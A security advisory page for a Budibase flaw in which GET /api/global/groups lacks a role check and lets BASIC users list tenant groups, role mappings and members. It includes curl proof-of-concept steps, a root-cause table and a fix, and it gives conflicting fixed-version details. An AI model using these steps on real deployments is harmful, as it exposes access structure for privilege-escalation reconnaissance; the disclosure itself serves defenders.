GHSA-4qcj-m5wp-jmf4

Опубликовано: 24 июл. 2026

Источник: github

Github: Прошло ревью

CVSS3: 4.3

Описание

Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings

Summary

The GET /api/global/groups endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.

Steps to Reproduce

1. Start Budibase

docker run -d --name budibase-poc -p 10000:80 \ -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \ -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \ -e API_ENCRYPTION_KEY=api_enc_key_test123456 \ -e BB_ADMIN_USER_EMAIL=admin@test.com \ -e BB_ADMIN_USER_PASSWORD=TestPassword123! \ budibase/budibase:latest until curl -sf http://localhost:10000/health; do sleep 5; done

2. Login as admin, create a user group, create a BASIC user

# Login as admin curl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \ -H "Content-Type: application/json" \ -d '{"username":"admin@test.com","password":"TestPassword123!"}' # Create a user group (requires license with user groups feature, or use Budibase Cloud) # On self-hosted without license, groups may not be available # If available: curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \ -H "Content-Type: application/json" \ -d '{"name":"Secret Admin Group","color":"#ff0000","icon":"AdminPanelSettingsIcon","roles":{"app_abc123":"ADMIN"}}' # Create a BASIC user (no builder, no admin) curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \ -H "Content-Type: application/json" \ -d '{"email":"basic@test.com","password":"BasicPass123!","roles":{},"admin":{"global":false},"builder":{"global":false}}'

3. Login as BASIC user and enumerate all groups (the vulnerability)

# Login as BASIC user curl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \ -H "Content-Type: application/json" \ -d '{"username":"basic@test.com","password":"BasicPass123!"}' # List ALL groups (should return 403, but returns 200 with full data) curl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups

Expected: 403 Forbidden (consistent with GET /api/global/groups/:id which requires builderOrAdmin)

Actual: 200 OK with full group data including role mappings, member lists, and builder flags.

Standalone verification (code review)

# In the budibase source tree: grep -A2 'global/groups"' packages/worker/src/api/routes/global/groups.ts

Output shows the list endpoint has NO auth middleware:

.get("/api/global/groups", # <-- NO auth.builderOrAdmin requireFeature(Feature.USER_GROUPS), controller.fetch

Compare with the single-group endpoint directly below:

.get("/api/global/groups/:groupId", # <-- HAS auth.builderOrAdmin auth.builderOrAdmin, requireFeature(Feature.USER_GROUPS), controller.getById

Root Cause

File: packages/worker/src/api/routes/global/groups.ts, lines 40-44

The list endpoint is the ONLY group endpoint without RBAC:

Endpoint	Auth Middleware
`POST /api/global/groups`	`auth.adminOnly`
`DELETE /api/global/groups/:id/:rev`	`auth.adminOnly`
`GET /api/global/groups/:id`	`auth.builderOrAdmin`
`GET /api/global/groups/:id/users`	`auth.builderOrAdmin`
`GET /api/global/groups`	NONE

Impact

A BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.

Suggested Fix

router.get("/api/global/groups", + auth.builderOrAdmin, requireFeature(Feature.USER_GROUPS), controller.fetch )

Ссылки

Пакеты

Наименование

@budibase/server

npm

Затронутые версииВерсия исправления

<= 3.38.1

Отсутствует

EPSS

Процентиль: 25%

0.00315

Низкий

4.3 Medium

CVSS3

CVE ID

CVE-2026-73301

Дефекты

CWE-862

Связанные уязвимости

CVE-2026-73301

CVSS3: 4.3

nvd

около 1 месяца назад

Budibase is an open-source low-code platform. Prior to 3.39.25, the GET /api/global/groups endpoint in packages/worker/src/api/routes/global/groups.ts omitted auth.builderOrAdmin, allowing an authenticated BASIC role user to enumerate tenant groups, role mappings and user memberships, builder permissions, and default-group flags. The disclosure exposes the tenant access-control structure to users who are not builders or administrators. This issue is fixed in version 3.39.25.

EPSS

Процентиль: 25%

0.00315

Низкий

4.3 Medium

CVSS3

CVE ID

CVE-2026-73301

Дефекты

CWE-862